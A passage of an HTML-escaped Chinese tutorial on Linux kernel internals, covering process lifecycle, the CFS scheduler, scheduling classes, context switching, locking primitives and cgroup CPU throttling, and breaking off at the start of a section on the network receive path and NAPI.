&lt;p&gt;状态 (&lt;code&gt;state&lt;&#x2F;code&gt;)
：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;TASK_RUNNING&lt;&#x2F;code&gt;：正在跑，或者排队等着跑。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;TASK_INTERRUPTIBLE&lt;&#x2F;code&gt;：浅睡眠（等待 IO 或 信号），能被 &lt;code&gt;kill&lt;&#x2F;code&gt; 唤醒。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;TASK_UNINTERRUPTIBLE&lt;&#x2F;code&gt;：深睡眠（等待磁盘 IO），&lt;strong&gt;不可杀&lt;&#x2F;strong&gt;（即使 &lt;code&gt;kill -9&lt;&#x2F;code&gt; 也没用，因为它不响应信号）。如果 Load Average 飙高但 CPU 使用率不高，通常就是有一堆这种进程堵在磁盘 IO 上。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;亲属关系&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;struct task_struct *parent&lt;&#x2F;code&gt;：父进程。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;struct list_head children&lt;&#x2F;code&gt;：子进程链表。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;em&gt;实战&lt;&#x2F;em&gt;：&lt;code&gt;pstree&lt;&#x2F;code&gt; 命令就是遍历这些指针画出来的。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;1-2-ta-shi-zen-me-lai-de-fork-vs-clone&quot;&gt;&lt;strong&gt;1.2 它是怎么来的？(Fork vs Clone)&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;Linux 创建进程极其高效，因为它极其“懒惰”。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Fork (传统)&lt;&#x2F;strong&gt; ：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;复制父进程的 &lt;code&gt;task_struct&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;COW (Copy-On-Write)&lt;&#x2F;strong&gt; ：不复制内存，只复制页表，并标记为只读。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Clone (现代)&lt;&#x2F;strong&gt; ：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;fork()&lt;&#x2F;code&gt; 和 &lt;code&gt;pthread_create()&lt;&#x2F;code&gt; 底层调用的都是 &lt;code&gt;clone()&lt;&#x2F;code&gt; 系统调用。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Flags 决定一切&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;CLONE_VM&lt;&#x2F;code&gt;: 共享内存（线程）。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;CLONE_FILES&lt;&#x2F;code&gt;: 共享文件描述符（线程）。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;CLONE_NEWPID&lt;&#x2F;code&gt;: 进入新的 PID Namespace（容器）。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;内核线程 (Kernel Threads)&lt;&#x2F;strong&gt; ：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;如 &lt;code&gt;kthreadd&lt;&#x2F;code&gt;, &lt;code&gt;ksoftirqd&lt;&#x2F;code&gt;。它们没有 mm指针（&lt;code&gt;mm&lt;&#x2F;code&gt; 为 NULL），直接使用上一个进程的内核页表。它们永远不会切换到用户态。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;1-3-ta-shi-zen-me-mei-de-exit-wait&quot;&gt;&lt;strong&gt;1.3 它是怎么没的？(Exit&lt;&#x2F;strong&gt; &lt;strong&gt;&amp;amp;&lt;&#x2F;strong&gt; &lt;strong&gt;Wait)&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Do_exit&lt;&#x2F;strong&gt;：进程自杀（调用 &lt;code&gt;exit&lt;&#x2F;code&gt;）或被杀。它会释放内存 (&lt;code&gt;mm_put&lt;&#x2F;code&gt;)、关闭文件 (&lt;code&gt;files_put&lt;&#x2F;code&gt;)，但它不会释放 &lt;code&gt;task_struct&lt;&#x2F;code&gt; 栈内存&lt;&#x2F;p&gt;
&lt;p&gt;。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;僵尸 (Zombie)&lt;&#x2F;strong&gt; ：此时进程状态变为 &lt;code&gt;EXIT_ZOMBIE&lt;&#x2F;code&gt;。它保留在内核中，只是为了把“退出码 (Exit Code)”交给父进程。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;收尸&lt;&#x2F;strong&gt;：父进程调用 &lt;code&gt;wait()&lt;&#x2F;code&gt; 读取退出码后，内核才会真正释放 &lt;code&gt;task_struct&lt;&#x2F;code&gt; (Slab 释放)。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;di-er-zhang-gong-ping-de-yi-shu-cfs-diao-du-qi-the-scheduler&quot;&gt;&lt;strong&gt;第二章：公平的艺术 ——&lt;&#x2F;strong&gt; &lt;strong&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zhida.zhihu.com&#x2F;search?content_id=267542629&amp;amp;content_type=Article&amp;amp;match_order=1&amp;amp;q=CFS+%E8%B0%83%E5%BA%A6%E5%99%A8&amp;amp;zhida_source=entity&quot;&gt;CFS 调度器&lt;&#x2F;a&gt;&lt;&#x2F;strong&gt; &lt;strong&gt;(The Scheduler)&lt;&#x2F;strong&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;Linux 2.6.23 引入的 &lt;strong&gt;CFS (Completely Fair Scheduler)&lt;&#x2F;strong&gt;  是调度算法的里程碑。它的核心理念不再是“优先级队列”，而是“物理模型”。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;2-1-li-xiang-duo-ren-wu-mo-xing&quot;&gt;&lt;strong&gt;2.1 理想多任务模型&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;理念&lt;&#x2F;strong&gt;：如果你有 N 个进程，CPU 应该像流水一样均分给它们。在任意时间段 T 内，每个进程都应该得到 &lt;code&gt;T&#x2F;N&lt;&#x2F;code&gt; 的运行时间。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;现实&lt;&#x2F;strong&gt;：CPU 不能无限分割。所以 CFS 试图让每个进程的&lt;strong&gt;虚拟运行时间 (vruntime)&lt;&#x2F;strong&gt;  保持一致。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;2-2-he-xin-zhi-biao-vruntime&quot;&gt;&lt;strong&gt;2.2 核心指标：vruntime&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;公式&lt;&#x2F;strong&gt;： $$ vruntime += 实际运行时间 \times \frac{1024}{进程权重} $$&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;权重 (Weight)&lt;&#x2F;strong&gt; ：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;由 Nice 值决定 (-20 到 +19)。&lt;&#x2F;li&gt;
&lt;li&gt;Nice 0 的权重是 1024。&lt;&#x2F;li&gt;
&lt;li&gt;Nice -10 (高优先级) 的权重很大，分母变大 -&amp;gt; &lt;code&gt;vruntime&lt;&#x2F;code&gt; 涨得慢 -&amp;gt; 总是比别人小 -&amp;gt; 总是被调度。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;em&gt;总结&lt;&#x2F;em&gt;：&lt;strong&gt;vruntime 越小，越缺 CPU，越需要被调度。&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;2-3-he-xin-shu-ju-jie-gou-hong-hei-shu-red-black-tree&quot;&gt;&lt;strong&gt;2.3 核心数据结构：红黑树 (Red-Black Tree)&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;内核不用链表管理进程（O(n) 太慢），而是用红黑树。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Key&lt;&#x2F;strong&gt; = &lt;code&gt;vruntime&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;逻辑&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;树的最左侧节点 (Leftmost Node)，就是全系统 &lt;code&gt;vruntime&lt;&#x2F;code&gt; 最小的进程。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Pick Next&lt;&#x2F;strong&gt;：调度器只需要把最左侧节点取出来运行即可。复杂度 O(1)（因为缓存了 leftmost 指针）。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Enque&lt;&#x2F;strong&gt;：进程运行了一会儿，&lt;code&gt;vruntime&lt;&#x2F;code&gt; 变大了，把它放回树里重新排序。复杂度 O(log N)。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;2-4-xiu-mian-yu-huan-xing-de-zuo-bi-place-entity&quot;&gt;&lt;strong&gt;2.4 休眠与唤醒的作弊 (Place Entity)&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;问题&lt;&#x2F;strong&gt;：一个进程睡了很久（比如等待键盘输入），它的 &lt;code&gt;vruntime&lt;&#x2F;code&gt; 停滞了，变得非常小。一旦醒来，它会长期霸占 CPU 补课，导致其他进程卡顿。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;修正&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;内核维护一个 &lt;code&gt;min_vruntime&lt;&#x2F;code&gt;（当前运行队列中最小的 vruntime）。&lt;&#x2F;li&gt;
&lt;li&gt;当进程醒来时，内核会重置它的 vruntime：&lt;code&gt;vruntime = max(vruntime, min_vruntime - 补偿)&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;既保证它能尽快抢到 CPU（响应快），又不让它饿死别人。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;di-san-zhang-diao-du-jie-ji-scheduling-classes&quot;&gt;&lt;strong&gt;第三章：调度阶级 (Scheduling Classes)&lt;&#x2F;strong&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;CFS 只是平民（普通进程）的规则。Linux 内核有着严格的阶级制度。调度器在选择下一个进程时，会按照以下顺序遍历调度类：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Stop Class&lt;&#x2F;strong&gt; (最高)：用于 CPU 热插拔、迁移等紧急任务。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Deadline Class&lt;&#x2F;strong&gt; (&lt;code&gt;SCHED_DEADLINE&lt;&#x2F;code&gt;)：&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;硬实时&lt;&#x2F;em&gt;。例如：必须在 10ms 内完成渲染。&lt;&#x2F;li&gt;
&lt;li&gt;基于 (Period, Runtime, Deadline) 模型。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Real-Time Class&lt;&#x2F;strong&gt; (RT)：&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;SCHED_FIFO&lt;&#x2F;code&gt;：先进先出。只要我不让出 CPU，谁也别想运行。&lt;strong&gt;小心：写死循环会卡死整个核。&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;SCHED_RR&lt;&#x2F;code&gt;：时间片轮转。同优先级的 RT 进程轮流跑。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Fair Class&lt;&#x2F;strong&gt; (CFS)：&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;SCHED_NORMAL&lt;&#x2F;code&gt;：绝大多数进程都在这里。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;SCHED_BATCH&lt;&#x2F;code&gt;：适合不交互的批处理任务。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Idle Class&lt;&#x2F;strong&gt; (最低)：&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;ul&gt;
&lt;li&gt;只有 CPU 没事干时才跑它（0 号进程 &lt;code&gt;swapper&lt;&#x2F;code&gt;）。进入省电模式 (C-State)。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;di-si-zhang-gan-kun-da-nuo-yi-shang-xia-wen-qie-huan-context-switch&quot;&gt;&lt;strong&gt;第四章：乾坤大挪移 —— 上下文切换 (Context Switch)&lt;&#x2F;strong&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;调度器决定换人后，真正的“切换”动作发生了。这是汇编级的艺术。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;4-1-qie-huan-liu-cheng&quot;&gt;&lt;strong&gt;4.1 切换流程&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;函数：&lt;code&gt;context_switch()&lt;&#x2F;code&gt; -&amp;gt; &lt;code&gt;switch_to()&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;切换内存 (switch_mm)&lt;&#x2F;strong&gt; ：&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;ul&gt;
&lt;li&gt;更换 CR3 寄存器（页表基地址）。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;优化&lt;&#x2F;strong&gt;：如果下一个进程是内核线程，由于内核空间页表是一样的，&lt;strong&gt;不需要切换 CR3&lt;&#x2F;strong&gt;，大大减少 TLB Miss。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;切换寄存器 (switch_to)&lt;&#x2F;strong&gt; ：&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;ul&gt;
&lt;li&gt;保存当前进程的 RSP (栈指针), RIP (指令指针), RBP, RBX 等到 &lt;code&gt;task_struct&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;载入下一个进程的寄存器。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;魔法瞬间&lt;&#x2F;strong&gt;：当 RIP 载入的那一刻，CPU 就开始执行新进程的代码了。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;4-2-qiang-zhan-preemption&quot;&gt;&lt;strong&gt;4.2 抢占 (Preemption)&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;用户态抢占&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;当系统调用返回用户态，或中断处理返回用户态时。&lt;&#x2F;li&gt;
&lt;li&gt;检查 &lt;code&gt;TIF_NEED_RESCHED&lt;&#x2F;code&gt; 标志。如果置位，调用 &lt;code&gt;schedule()&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;内核态抢占 (Kernel Preemption)&lt;&#x2F;strong&gt; ：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;这是 Linux 低延迟的关键。即使 CPU 在内核里跑（比如正在执行系统调用），只要没有持有自旋锁，高优先级的进程（如鼠标中断）也可以抢占它。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;di-wu-zhang-duo-he-yu-bing-fa-yuan-yu-smp-locking&quot;&gt;&lt;strong&gt;第五章：多核与并发原语 (SMP&lt;&#x2F;strong&gt; &lt;strong&gt;&amp;amp;&lt;&#x2F;strong&gt; &lt;strong&gt;Locking)&lt;&#x2F;strong&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;现在的服务器动辄 64 核、128 核。如何防止它们打架？&lt;&#x2F;p&gt;
&lt;h3 id=&quot;5-1-fu-zai-jun-heng-load-balancing&quot;&gt;&lt;strong&gt;5.1 负载均衡 (Load Balancing)&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;每个 CPU 都有自己的 Runqueue (&lt;code&gt;rq&lt;&#x2F;code&gt;)。理想情况下大家互不干扰。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;问题&lt;&#x2F;strong&gt;：CPU 0 忙死，CPU 1 闲死。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;机制&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Work Stealing&lt;&#x2F;strong&gt;：CPU 1 醒来发现自己没事干，去 CPU 0 的队列里“偷”几个任务过来。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Scheduling Domains&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;SMT Domain (超线程)：迁移成本极低（共享 L1 Cache）。&lt;&#x2F;li&gt;
&lt;li&gt;MC Domain (多核)：迁移成本中等（共享 L3）。&lt;&#x2F;li&gt;
&lt;li&gt;NUMA Domain (跨路)：迁移成本极高。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;5-2-suo-de-wu-li-xue-locking-primitives&quot;&gt;&lt;strong&gt;5.2 锁的物理学 (Locking Primitives)&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;当多核同时访问共享数据（如 &lt;code&gt;dentry&lt;&#x2F;code&gt; 缓存），必须加锁。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Spinlock (自旋锁)&lt;&#x2F;strong&gt; ：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;行为&lt;&#x2F;strong&gt;：while(lock_is_taken); &#x2F;&#x2F; 忙等待。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;场景&lt;&#x2F;strong&gt;：持有时间极短，且&lt;strong&gt;不可睡眠&lt;&#x2F;strong&gt;（中断上下文）。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;底层&lt;&#x2F;strong&gt;：&lt;code&gt;LOCK&lt;&#x2F;code&gt; 前缀指令 + CAS (Compare-And-Swap) 原子操作。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Mutex (互斥量)&lt;&#x2F;strong&gt; ：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;行为&lt;&#x2F;strong&gt;：拿不到锁就去睡觉 (Schedule Out)，让出 CPU。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;场景&lt;&#x2F;strong&gt;：持有时间长，可能发生 IO。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Futex (Fast Userspace Mutex)&lt;&#x2F;strong&gt; ：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;性能神器&lt;&#x2F;strong&gt;。在没有竞争时，完全在用户态（原子变量），不需要陷入内核系统调用。只有发生竞争（Contention）时，才 syscall 进内核挂起线程。Java 的 &lt;code&gt;synchronized&lt;&#x2F;code&gt; 和 Go 的 &lt;code&gt;Mutex&lt;&#x2F;code&gt; 底层都是 Futex。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;RCU (Read-Copy-Update)&lt;&#x2F;strong&gt; ：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;黑科技&lt;&#x2F;strong&gt;。内核中最复杂的同步机制。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;理念&lt;&#x2F;strong&gt;：读锁完全无开销（无锁）。写者去拷贝一份数据修改，改完指过去。等所有读者读完了旧数据，再释放旧内存。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;场景&lt;&#x2F;strong&gt;：读多写少（如路由表、文件描述符表）。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;di-liu-zhang-rong-qi-de-xin-zang-cgroups-cpu-zi-xi-tong&quot;&gt;&lt;strong&gt;第六章：容器的心脏 —— Cgroups CPU 子系统&lt;&#x2F;strong&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;Docker 限制 CPU 到底是怎么做到的？&lt;&#x2F;p&gt;
&lt;h3 id=&quot;6-1-cpu-bandwidth-control&quot;&gt;&lt;strong&gt;6.1 CPU Bandwidth Control&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;源码：&lt;code&gt;kernel&#x2F;sched&#x2F;fair.c&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;配额机制&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;cpu.cfs_period_us&lt;&#x2F;code&gt; (周期)：通常 100ms。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;cpu.cfs_quota_us&lt;&#x2F;code&gt; (配额)：比如 20ms。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;原理&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;内核为每个 Cgroup 维护一个 &lt;code&gt;vruntime&lt;&#x2F;code&gt; 账本。&lt;&#x2F;li&gt;
&lt;li&gt;容器里的进程每跑 1ms，扣除 1ms 配额。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Throttling&lt;&#x2F;strong&gt;：当配额扣光时，内核强制把该 Cgroup 下的所有进程踢出 Runqueue，设为睡眠状态。&lt;&#x2F;li&gt;
&lt;li&gt;下一周期开始时，重新注资，唤醒进程。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;现象&lt;&#x2F;strong&gt;：如果你发现容器 CPU 使用率才 20% 但响应极慢，检查 &lt;code&gt;nr_throttled&lt;&#x2F;code&gt; 计数。这通常是因为周期设置不合理，导致短时间内配额耗尽，被强制“关小黑屋”。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;di-si-juan-jing-luo-xie-mai-wang-luo-xie-yi-zhan-net&quot;&gt;&lt;strong&gt;第四卷：经络血脉 —— 网络协议栈 (NET)&lt;&#x2F;strong&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;strong&gt;本卷目标&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;透视&lt;&#x2F;strong&gt;：从网卡电信号到 &lt;code&gt;recv()&lt;&#x2F;code&gt; 返回，追踪一个数据包的奇幻漂流。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;解构&lt;&#x2F;strong&gt;：理解 Linux 网络核心对象 &lt;code&gt;sk_buff&lt;&#x2F;code&gt; 的设计哲学。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;极速&lt;&#x2F;strong&gt;：掌握 C10K&#x2F;C10M 问题背后的 Epoll、零拷贝与 Kernel Bypass 技术。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;di-yi-zhang-cong-wang-xian-dao-nei-cun-layer-1-2-the-driver-layer&quot;&gt;&lt;strong&gt;第一章：从网线到内存 (Layer 1&lt;&#x2F;strong&gt; &lt;strong&gt;&amp;amp;&lt;&#x2F;strong&gt; &lt;strong&gt;2 - The Driver Layer)&lt;&#x2F;strong&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;数据包到达服务器时，CPU 还毫不知情。网卡（NIC）是第一个接待员。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;1-1-dma-yu-ring-buffer&quot;&gt;&lt;strong&gt;1.1 DMA 与 Ring Buffer&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;DMA (Direct Memory Access)&lt;&#x2F;strong&gt; ：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;网卡内部有一个 &lt;strong&gt;Rx Ring Buffer&lt;&#x2F;strong&gt;（接收环形缓冲区）。这其实是主机内存中的一段区域（DMA 区域）。&lt;&#x2F;li&gt;
&lt;li&gt;当光&#x2F;电信号到达，网卡控制器直接将数据搬运到内存中，&lt;strong&gt;不需要 CPU 参与&lt;&#x2F;strong&gt;。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;硬中断 (Hard IRQ)&lt;&#x2F;strong&gt; ：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;数据搬完后，网卡发起一个硬件中断，告诉 CPU：“喂，有货来了，快来处理”。&lt;&#x2F;li&gt;
&lt;li&gt;CPU 暂停当前手头的工作，执行网卡驱动注册的中断处理函数。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;em&gt;性能瓶颈&lt;&#x2F;em&gt;：如果每来一个包都中断一次，CPU 会被“中断风暴”淹没（Livelock），导致用户态进程完全饿死。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;1-2-napi-new-api-zhong-duan-yu-lun-xun-de-tuo-xie&quot;&gt;&lt;strong&gt;1.2 NAPI (New API) —— 中断与轮询的妥协&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;Linux 2.6 引入 NAPI 机制解决中断风暴。&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;第一个包&lt;&#x2F;strong&gt;到达：触发硬中断。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;关闭中断&lt;&#x2F;strong&gt;：驱动程序告诉网卡，“先别发中断了，我去叫人”。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;唤醒软中断&lt;&#x2F;strong&gt;：触发 &lt;code&gt;NET_RX_SOFTIRQ&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
